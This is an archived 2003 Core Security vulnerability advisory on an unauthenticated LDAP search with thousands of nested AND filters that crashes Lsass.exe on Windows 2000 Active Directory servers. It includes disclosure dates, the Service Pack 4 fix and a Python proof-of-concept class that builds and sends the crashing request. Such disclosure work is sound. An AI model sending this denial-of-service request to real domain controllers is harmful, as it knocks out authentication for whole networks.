home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / coreactive / core.active.txt
Encoding:
Text File  |  2003-08-20  |  5.6 KB  |  170 lines

  1.                          Core Security Technologies Advisory
  2.                              http://www.coresecurity.com
  3.  
  4.                            Active Directory Stack Overflow
  5.  
  6.  
  7. Date Published: 2003-07-02
  8.  
  9. Last Update: 2003-07-02
  10.  
  11. Advisory ID: CORE-2003-0305-03
  12.  
  13. Bugtraq ID: 7930
  14.  
  15. CVE Name: None currently assigned.
  16.  
  17. Title: Active Directory Stack Overflow
  18.  
  19. Class: Boundary Error Condition
  20.  
  21. Remotely Exploitable: Yes
  22.  
  23. Locally Exploitable: Yes
  24.  
  25. Advisory URL:
  26.   http://www.coresecurity.com/common/showdoc.php?idx=351&idxseccion=10
  27.  
  28. Vendors contacted:
  29.   - Microsoft
  30.     . Core Notification: 2003-05-16
  31.     . Notification acknowledged by Microsoft: 2003-05-19
  32.     . Issue fixed in Windows 2000 Service Pack 4: 2003-06-26
  33.  
  34. Release Mode: COORDINATED RELEASE
  35.  
  36.  
  37. *Vulnerability Description:*
  38.  
  39.   Active Directory, which is an essential component of the Windows 2000
  40.   architecture, presents organizations with a directory service designed
  41.   for distributed computing environments. Active Directory allows organizations
  42.   to centrally manage and share information on network resources and users
  43.   while acting as the central authority for network security.
  44.  
  45.   The directory services provided by Active Directory are based on the
  46.   Lightweight Directory Access Protocol (LDAP) and thus Active Directory
  47.   objects can be stored and retrieved using the LDAP protocol.
  48.  
  49.   A vulnerability in Active Directory allows an attacker to crash and force
  50.   a reboot of any Windows 2000 Server running the Active Directory service.
  51.  
  52.   The vulnerability can be triggered when an LDAP version 3 search request
  53.   with more than 1000 "AND" statements is sent to the server, resulting in a
  54.   stack overflow and subsequent crash of the Lsaas.exe service.
  55.  
  56.   This in turn, will force a domain controller to stop responding, thus
  57.   making possible a denial of service attack against it. The LDAP request
  58.   does not need to be authenticated.
  59.  
  60.   The possibility of exploiting this vulnerability to execute arbitrary code
  61.   on a vulnerable server has not been proved but is not discarded.
  62.  
  63.  
  64. *Vulnerable Packages:*
  65.  
  66.   Windows 2000 Server with Active Directory (Service Pack 3).
  67.  
  68.  
  69. *Solution/Vendor Information/Workaround:*
  70.  
  71.   This issue is fixed in Windows 2000 Service Pack 4, which can be
  72.   donwloaded from:
  73.   http://www.microsoft.com/Windows2000/downloads/servicepacks/sp4/
  74.  
  75.   Further information about the vulnerability can be obtained from
  76.   http://support.microsoft.com/default.aspx?kbid=319709
  77.  
  78.  
  79. *Credits:*
  80.  
  81.   This vulnerability was found by Eduardo Arias, Gabriel Becedillas, Ricardo
  82.   Quesada and Damian Saura from Core Security Technologies during Bugweek 2003
  83.   (March 3-7, 2003).
  84.  
  85.  
  86. *Technical Description - Exploit/Concept Code:*
  87.  
  88.   A 'search request' created using LDAP version 3, constructed with more than
  89.   1000 "AND"s, will provoke a stack overflow, making the Lsass.exe service crash
  90.   and rebooting the machine within 30 seconds.
  91.  
  92.   To reproduce the stack overflow, you need to create a 'search request' to
  93.   an Active Directory server. The 'search request' must search for a non existent
  94.   machine within the Domain Controller that you've previously bind to.
  95.  
  96.   It must be composed with more than 1000 AND statements but it is supposed that
  97.   OR, GE, LE and other binary operators will yield the same results.
  98.  
  99.   Example of a Python script that creates such a request:
  100.  
  101. ------------------------------------
  102. class ActiveDirectoryDOS( Ldap ):
  103.  
  104.      def __init__(self):
  105.          self._s = None
  106.          self.host = '192.168.0.1'
  107.          self.basedn = 'dc=bugweek,dc=corelabs,dc=core-sdi,dc=com'
  108.          self.port = 389
  109.          self.buffer = ''
  110.          self.msg_id = 1
  111.          Ldap.__init__()
  112.  
  113.      def generateFilter_BinaryOp( self, filter ):
  114.          filterBuffer = asn1.OCTETSTRING(filter[1]).encode() + asn1.OCTETSTRING(filter[2]).encode()
  115.          filterBuffer = self.encapsulateHeader( filter[0], filterBuffer )
  116.          return filterBuffer
  117.  
  118.      def generateFilter_RecursiveBinaryOp( self, filter, numTimes):
  119.          simpleBinOp = self.generateFilter_BinaryOp( filter )
  120.          filterBuffer = simpleBinOp
  121.          for cnt in range( 0, numTimes ):
  122.              filterBuffer = self.encapsulateHeader( self.LDAP_FILTER_AND, filterBuffer + simpleBinOp )
  123.          return filterBuffer
  124.  
  125.  
  126.      def searchSub( self, filterBuffer ):
  127.  
  128.          self.bindRequest()
  129.          self.searchRequest( filterBuffer )
  130.  
  131.      def run(self, host = '', basedn = '', name = '' ):
  132.  
  133.          # the machine must not exist
  134.          machine_name = 'xaxax'
  135.  
  136.          filterComputerNotInDir = (Ldap.LDAP_FILTER_EQUALITY,'name',machine_name)
  137.  
  138.          # execute the anonymous query
  139.          print 'executing query'
  140.          filterBuffer = self.generateFilter_RecursiveBinaryOp( filterComputerNotInDir, 7000 )
  141.          self.searchSub( filterBuffer )
  142.  
  143. ------------------------------------
  144.  
  145.  
  146. *About Core Security Technologies*
  147.  
  148.   Core Security Technologies develops strategic security solutions for
  149.   Fortune 1000 corporations, government agencies and military
  150.   organizations. The company offers information security software and
  151.   services designed to assess risk and protect and manage information
  152.   assets.
  153.   Headquartered in Boston, MA, Core Security Technologies can be reached
  154.   at 617-399-6980 or on the Web at http://www.coresecurity.com.
  155.  
  156.   To learn more about CORE IMPACT, the first comprehensive penetration
  157.   testing framework, visit:
  158.   http://www.coresecurity.com/products/coreimpact
  159.  
  160.  
  161. *DISCLAIMER:*
  162.  
  163.   The contents of this advisory are copyright (c) 2003 CORE Security
  164.   Technologies and may be distributed freely provided that no fee is
  165.   charged for this distribution and proper credit is given.
  166.  
  167. $Id: ActiveDirectory-advisory.txt,v 1.9 2003/07/02 15:45:46 carlos Exp $
  168.  
  169.  
  170.